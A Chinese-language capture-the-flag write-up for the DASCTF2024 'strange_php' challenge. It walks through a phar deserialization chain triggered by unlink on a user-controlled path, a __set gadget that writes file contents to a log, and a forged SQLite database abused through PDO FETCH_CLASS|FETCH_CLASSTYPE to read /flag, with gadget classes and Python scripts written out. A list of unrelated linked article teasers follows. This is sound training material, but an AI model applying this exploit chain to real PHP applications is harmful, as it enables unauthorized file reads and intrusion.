CTF-web: phar反序列化+数据库伪造 [DASCTF2024最后一战 strange_php]
step 1 如何触发反序列化?
漏洞入口在
welcome.php
case 'delete': // 获取删除留言的路径,优先使用 POST 请求中的路径,否则使用会话中的路径 $message = $_POST['message_path'] ? $_POST['message_path'] : $_SESSION['message_path']; $msg = $userMessage->deleteMessage($message); // 删除留言 if ($msg) { echo "留言已成功删除"; // 输出成功删除信息 } else { echo "操作失败,请重新尝试"; // 输出失败信息 } break;
此处message_path可控,进一步跟进
UserMessage.php
public function deleteMessage($path) { $path = $path . ".txt"; // 添加文件扩展名 if (file_exists($path)) { $result = unlink($path); if ($result === false) { return false; } return true; } return false;
}
$path可控,同时unlink可触发phar反序列化
step 2 如何创造一个可控文件?
public function writeMessage($message) { $result = file_put_contents($this->filePath, $message); if ($result === false) { return false; } return true;
}
step 3 如何利用反序列化读取flag?
<?php class UserMessage { private $filePath; ........// 魔术方法 __set,用于设置私有属性并记录日志 public function __set($name, $value) { $this->$name = $value; $logContent = file_get_contents($this->filePath) . "</br>"; file_put_contents("/var/www/html/log/" . md5($this->filePath) . ".txt", $logContent); } .......
?>
魔术方法__set()在设置未定义或不可访问的属性时自动调用。用于控制对属性的设置。
class MyClass {private $data = [];public function __set($name, $value) {$this->data[$name] = $value;}
}$obj = new MyClass();
$obj->name = 'John';
echo $obj->name; // __get() 被调用,输出: John
step 4 如何触发__set()?
题目使用PDO链接数据库
PDO_connect.php
<?php class PDO_connect { private $pdo; // 用于保存 PDO 实例 public $con_options = []; // 用于设置 PDO 连接的选项 public $smt; // 用于保存 PDOStatement 实例 public function __construct() { // 构造函数,初始化对象时调用 } // 初始化连接选项 public function init() { $this->con_options = array( "dsn" => "mysql:host=localhost:3306;dbname=users;charset=utf8", // 数据源名称 'host' => '127.0.0.1', // 数据库主机地址 'port' => '3306', // 数据库端口 'user' => 'joker', // 数据库用户名 'password' => 'joker', // 数据库密码 'charset' => 'utf8', // 字符集 'options' => array( PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC, // 设置默认获取模式为关联数组 PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION // 设置错误处理模式为抛出异常 ) ); } // 获取数据库连接 public function get_connection() { $this->conn = null; // 初始化连接为 null try { // 创建 PDO 实例 $this->conn = new PDO($this->con_options['dsn'], $this->con_options['user'], $this->con_options['password']); // 设置错误处理模式 if ($this->con_options['options'][PDO::ATTR_ERRMODE]) { $this->conn->setAttribute(PDO::ATTR_ERRMODE, $this->con_options['options'][PDO::ATTR_ERRMODE]); } // 设置默认获取模式 if (isset($this->con_options['options'][PDO::ATTR_DEFAULT_FETCH_MODE])) { $this->conn->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, $this->con_options['options'][PDO::ATTR_DEFAULT_FETCH_MODE]); } } catch (PDOException $e) { // 捕获异常并输出错误信息 echo 'Connection Error: ' . $e->getMessage(); } return $this->conn; // 返回 PDO 连接实例 }
}
?>
在PHP的PDO(PHP Data Objects)中,
PDO::ATTR_DEFAULT_FETCH_MODE是一个属性,用于设置默认的获取模式(fetch mode)。这决定了当你从数据库中获取数据时,PDO如何返回结果。
PDO::FETCH_CLASS 和 PDO::FETCH_CLASSTYPE 是两种不同的获取模式:
-
PDO::FETCH_CLASS:此模式会将每一行结果映射到一个指定的类的实例中。忽略结果集中的字段名称,如果字段名与类中的属性名匹配,则自动赋值。
-
PDO::FETCH_CLASSTYPE:当与
PDO::FETCH_CLASS结合使用时,这个模式允许根据结果集中指定的一列动态决定要实例化的类。这意味着你可以根据数据库中的某个字段的值来决定使用哪个类来创建对象。
通过将 PDO::FETCH_CLASS 和 PDO::FETCH_CLASSTYPE 使用按位或运算符 | 结合,可以实现根据数据库中的某个字段动态实例化不同的类。
PDO::FETCH_CLASS | PDO::FETCH_CLASSTYPE:这个组合的获取模式意味着 PDO 会根据结果集第一列的值作为要实例化的类名,并将查询结果的其余列映射到类的属性中。
class Admin {public $id;public $username;public $password;public function __construct($id, $username, $password) {$this->id = $id;$this->username = $username;$this->password = $password;}
}class Member {public $id;public $username;public $password;public function __construct($id, $username, $password) {$this->id = $id;$this->username = $username;$this->password = $password;}
}$dsn = 'sqlite:/path/to/your/database/file.db';
$username = 'root';
$password = 'root';
$options = [PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_CLASS | PDO::FETCH_CLASSTYPE];$pdo = new PDO($dsn, $username, $password);
$pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_CLASS | PDO::FETCH_CLASSTYPE);$query = "SELECT class_name, id, username, password FROM users";
$statement = $pdo->query($query);while ($user = $statement->fetch()) {echo get_class($user) . "\n"; // 打印当前行映射的类名echo $user->id . "\n";echo $user->username . "\n";echo $user->password . "\n";
}
在这个例子中,PDO 会根据 class_name 列的值来决定实例化 Admin 或 Member 类。其他列 (id, username, password) 将被传递给相应类的构造函数。
我们可以伪造一个虚假的数据库文件写入.txt并通过反序列化方式伪造PDO所需要的数组,那么在查询时就会返回我们伪造的结果
从这里可以得知目录路径
public function __set($name, $value) { $this->$name = $value; $logContent = file_get_contents($this->filePath) . "</br>"; file_put_contents("/var/www/html/log/" . md5($this->filePath) . ".txt", $logContent);
}
可以写出
class PDO_connect{ private $pdo; public $con_options = []; public $smt; public function __construct(){ $this->con_options = [ "dsn"=>'sqlite:/var/www/html/xxx.txt', "username"=>"root", "password"=>"root", "options"=>[ PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_CLASS|PDO::FETCH_CLASSTYPE ] ]; }
}
step 5 如何触发PDO_connect?
利用User.__destruct
User.php
public function __destruct() { if ($this->username) { $results = $this->log(); $log_mess = serialize($results); // 记录日志到文件 file_put_contents("log/" . md5($this->username) . ".txt", $log_mess . "\n", FILE_APPEND); }
}
->log即可触发查询,当查询键为UserMessage会返回伪造的值
public function log() { try { $sql = "SELECT * FROM users WHERE username = :username"; $pdo = $this->conn->get_connection(); $stmt = $pdo->prepare($sql); $stmt->bindParam(':username', $this->username); $stmt->execute(); $result = $stmt->fetch(); return $result; } catch (PDOException $e) { echo $e->getMessage(); }
}
所以写出
class PDO_connect{ private $pdo; public $con_options = [];public $smt; public function __construct(){ $this->con_options = [ "dsn"=>'sqlite:./fake_db.sqlite', "username"=>"root", "password"=>"root", "options"=>[ PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_CLASS|PDO::FETCH_CLASSTYPE ] ]; }
}
class User{ private $conn; private $table = 'users'; public $id; public $username; public $password; public function __construct(){ $this->conn = new PDO_connect(); $this->username = "UserMessage"; }
}
尝试
import sqlite3 conn = sqlite3.connect('fake_db.sqlite')
cursor = conn.cursor()
cursor.execute('''
CREATE TABLE IF NOT EXISTS users (username TEXT NOT NULL,filePath TEXT NOT NULL,set_name TEXT NOT NULL,id INTEGER PRIMARY KEY AUTOINCREMENT)
''')
users = [ ('UserMessage', 'filePath_value', 'set_value'),
]
cursor.executemany(''' INSERT INTO users (username, filePath, set_name) VALUES (?,?,?) ''', users) conn.commit() cursor.execute('SELECT * FROM users') conn.close()

import sqlite3 conn = sqlite3.connect('fake.db')
cursor = conn.cursor()
cursor.execute('''
CREATE TABLE IF NOT EXISTS users ( username TEXT NOT NULL,filePath TEXT NOT NULL,password TEXT NOT NULL,id INTEGER PRIMARY KEY AUTOINCREMENT)
''')
users = [ ('UserMessage', '/flag', '/flag'),
]
cursor.executemany('''
INSERT INTO users (username, password,filePath) VALUES (?,?,?)
''', users) conn.commit() cursor.execute('SELECT * FROM users') conn.close()
即可控制变量值触发/flag读取
相关文章:
CTF-web: phar反序列化+数据库伪造 [DASCTF2024最后一战 strange_php]
step 1 如何触发反序列化? 漏洞入口在 welcome.php case delete: // 获取删除留言的路径,优先使用 POST 请求中的路径,否则使用会话中的路径 $message $_POST[message_path] ? $_POST[message_path] : $_SESSION[message_path]; $msg $userMes…...
从0开始使用面对对象C语言搭建一个基于OLED的图形显示框架(动态菜单组件实现)
目录 面对对象C的程序设计(范例) 面对对象C的程序设计(应用) 进一步谈论我上面给出的代码——继承 实现一个面对对象的文本编辑器 所以,什么是继承 重申我们对菜单的抽象 抽象菜单项目 抽象菜单动画 实现菜单功…...
EtherCAT主站IGH-- 23 -- IGH之fsm_slave.h/c文件解析
EtherCAT主站IGH-- 23 -- IGH之fsm_slave.h/c文件解析 0 预览一 该文件功能`fsm_slave.c` 文件功能函数预览二 函数功能介绍`fsm_slave.c` 中主要函数的作用1. `ec_fsm_slave_init`2. `ec_fsm_slave_clear`3. `ec_fsm_slave_exec`4. `ec_fsm_slave_set_ready`5. `ec_fsm_slave_…...
windows10 配置使用json server作为图片服务器
步骤1:在vs code中安装json server, npm i -g json-server 注意:需要安装对应版本的json server,不然可能会报错,比如: npm i -g json-server 0.16.3 步骤2:出现如下报错: json-server 不是…...
Linux——网络(tcp)
文章目录 目录 文章目录 前言 一、TCP逻辑 1. 面向连接 三次握手(建立连接) 四次挥手(关闭连接) 2. 可靠性 3. 流量控制 4. 拥塞控制 5. 基于字节流 6. 全双工通信 7. 状态机 8. TCP头部结构 9. TCP的应用场景 二、编写tcp代码函数…...
腾讯云开发提供免费GPU服务
https://ide.cloud.tencent.com/dashboard/web 适用于推理场景,每个月10000分钟免费时长 166 小时 40 分钟 自带学术加速,速度还是不错的 白嫖 Tesla T4 16G 算力 显存:16GB 算力:8 TFlops SP CPU:8 核 内存&#…...
详解python的修饰符
Python 中的修饰符(Decorator)是一种用于修改或扩展函数或类行为的工具。它们本质上是一个函数,接受另一个函数或类作为参数,并返回一个新的函数或类。修饰符通常用于在不修改原函数或类代码的情况下,添加额外的功能。…...
《攻克语言密码:教AI理解隐喻与象征》
在自然语言处理(NLP)领域,让计算机理解人类语言中的隐喻和象征,是迈向更高语言理解水平的关键一步。从“时间就是金钱”这样的概念隐喻,到文学作品里象征着坚韧的“寒梅”,这些非字面意义的表达方式承载着丰…...
如何解除TikTok地区限制:实用方法解析
随着社交媒体的不断发展,TikTok作为一款短视频平台,已经在全球范围内吸引了数以亿计的用户。然而,不同地区对TikTok的使用权限存在一定的限制,这使得一些用户无法享受平台提供的完整内容和功能。 一、了解TikTok地区限制的原因 在…...
神经网络|(七)概率论基础知识-贝叶斯公式
【1】引言 前序我们已经了解了一些基础知识。 古典概型:有限个元素参与抽样,每个元素被抽样的概率相等。 条件概率:在某条件已经达成的前提下,新事件发生的概率。实际计算的时候,应注意区分,如果是计算综…...
《DeepSeek 网页/API 性能异常(DeepSeek Web/API Degraded Performance):网络安全日志》
DeepSeek 网页/API 性能异常(DeepSeek Web/API Degraded Performance)订阅 已识别 - 已识别问题,并且正在实施修复。 1月 29, 2025 - 20:57 CST 更新 - 我们将继续监控任何其他问题。 1月 28, 2025 - 22&am…...
使用Edu邮箱申请一年免费的.me域名
所需材料:公立Edu教育邮箱一枚(P.S:该服务不支持所有的Edu教育邮箱,仅支持比较知名的院校) 说到域名,.me这个后缀可谓是个性十足,适合个人网站、博客等。.me是黑山的国家顶级域名(c…...
【MCU】DFU、IAP、OTA
我发现很多人把几个概念都学混了,只记得一个升级了 DFU DFU (device firmware update)是指的 USB DFU,这个是 USB 的一个机制,可以升级设备的固件,可以去 USB-IF 查看规范文件。 OTA 全称为 Over-the-air update,利…...
2025.1.21——六、BUU XSS COURSE 1 XSS漏洞|XSS平台搭建
题目来源:buuctf BUU XSS COURSE 1 目录 一、打开靶机,整理信息 二、解题思路 step 1:输入框尝试一下 step 2:开始xss注入 step 3:搭建平台 step 4:利用管理员cookie访问地址 三、小结 二编&#…...
跟李沐学AI:视频生成类论文精读(Movie Gen、HunyuanVideo)
Movie Gen:A Cast of Media Foundation Models 简介 Movie Gen是Meta公司提出的一系列内容生成模型,包含了 3.2.1 预训练数据 Movie Gen采用大约 100M 的视频-文本对和 1B 的图片-文本对进行预训练。 图片-文本对的预训练流程与Meta提出的 Emu: Enh…...
7.抽象工厂(Abstract Factory)
抽象工厂与工厂方法极其类似,都是绕开new的,但是有些许不同。 动机 在软件系统中,经常面临着“一系列相互依赖的对象”的创建工作;同时,由于需求的变化,往往存在更多系列对象的创建工作。 假设案例 假设…...
python-leetcode-路径总和
112. 路径总和 - 力扣(LeetCode) # Definition for a binary tree node. # class TreeNode: # def __init__(self, val0, leftNone, rightNone): # self.val val # self.left left # self.right right class Solution:de…...
WGCLOUD使用介绍 - 如何监控ActiveMQ和RabbitMQ
根据WGCLOUD官网的信息,目前没有针对ActiveMQ和RabbitMQ这两个组件专门做适配 不过可以使用WGCLOUD已经具备的通用监测模块:进程监测、端口监测或者日志监测、接口监测 来对这两个组件进行监控...
智能汽车网络安全威胁报告
近年来随着智能汽车技术的快速发展,针对智能汽车的攻击也逐渐从传统的针对单一车辆控制器的攻击转变为针对整车智能化服务的攻击,包括但不限于对远程控制应用程序的操控、云服务的渗透、智能座舱系统的破解以及对第三方应用和智能服务的攻击。随着WP.29 …...
WPS怎么使用latex公式?
1、下载并安装mathtype https://blog.csdn.net/weixin_43135178/article/details/125143654?sharetypeblogdetail&sharerId125143654&sharereferPC&sharesourceweixin_43135178&spm1011.2480.3001.8118 2、将mathtype嵌入在WPS MathType面板嵌入器,免费工具…...
Flask RESTful 示例
目录 1. 环境准备2. 安装依赖3. 修改main.py4. 运行应用5. API使用示例获取所有任务获取单个任务创建新任务更新任务删除任务 中文乱码问题: 下面创建一个简单的Flask RESTful API示例。首先,我们需要创建环境,安装必要的依赖,然后…...
如何在看板中有效管理突发紧急任务
在看板中有效管理突发紧急任务需要:设立专门的紧急任务通道、重新调整任务优先级、保持适度的WIP(Work-in-Progress)弹性、优化任务处理流程、提高团队应对突发情况的敏捷性。其中,设立专门的紧急任务通道尤为重要,这能…...
Matlab | matlab常用命令总结
常用命令 一、 基础操作与环境二、 矩阵与数组操作(核心)三、 绘图与可视化四、 编程与控制流五、 符号计算 (Symbolic Math Toolbox)六、 文件与数据 I/O七、 常用函数类别重要提示这是一份 MATLAB 常用命令和功能的总结,涵盖了基础操作、矩阵运算、绘图、编程和文件处理等…...
全志A40i android7.1 调试信息打印串口由uart0改为uart3
一,概述 1. 目的 将调试信息打印串口由uart0改为uart3。 2. 版本信息 Uboot版本:2014.07; Kernel版本:Linux-3.10; 二,Uboot 1. sys_config.fex改动 使能uart3(TX:PH00 RX:PH01),并让boo…...
Java + Spring Boot + Mybatis 实现批量插入
在 Java 中使用 Spring Boot 和 MyBatis 实现批量插入可以通过以下步骤完成。这里提供两种常用方法:使用 MyBatis 的 <foreach> 标签和批处理模式(ExecutorType.BATCH)。 方法一:使用 XML 的 <foreach> 标签ÿ…...
「全栈技术解析」推客小程序系统开发:从架构设计到裂变增长的完整解决方案
在移动互联网营销竞争白热化的当下,推客小程序系统凭借其裂变传播、精准营销等特性,成为企业抢占市场的利器。本文将深度解析推客小程序系统开发的核心技术与实现路径,助力开发者打造具有市场竞争力的营销工具。 一、系统核心功能架构&…...
基于鸿蒙(HarmonyOS5)的打车小程序
1. 开发环境准备 安装DevEco Studio (鸿蒙官方IDE)配置HarmonyOS SDK申请开发者账号和必要的API密钥 2. 项目结构设计 ├── entry │ ├── src │ │ ├── main │ │ │ ├── ets │ │ │ │ ├── pages │ │ │ │ │ ├── H…...
相关类相关的可视化图像总结
目录 一、散点图 二、气泡图 三、相关图 四、热力图 五、二维密度图 六、多模态二维密度图 七、雷达图 八、桑基图 九、总结 一、散点图 特点 通过点的位置展示两个连续变量之间的关系,可直观判断线性相关、非线性相关或无相关关系,点的分布密…...
Python学习(8) ----- Python的类与对象
Python 中的类(Class)与对象(Object)是面向对象编程(OOP)的核心。我们可以通过“类是模板,对象是实例”来理解它们的关系。 🧱 一句话理解: 类就像“图纸”,对…...
高效的后台管理系统——可进行二次开发
随着互联网技术的迅猛发展,企业的数字化管理变得愈加重要。后台管理系统作为数据存储与业务管理的核心,成为了现代企业不可或缺的一部分。今天我们要介绍的是一款名为 若依后台管理框架 的系统,它不仅支持跨平台应用,还能提供丰富…...
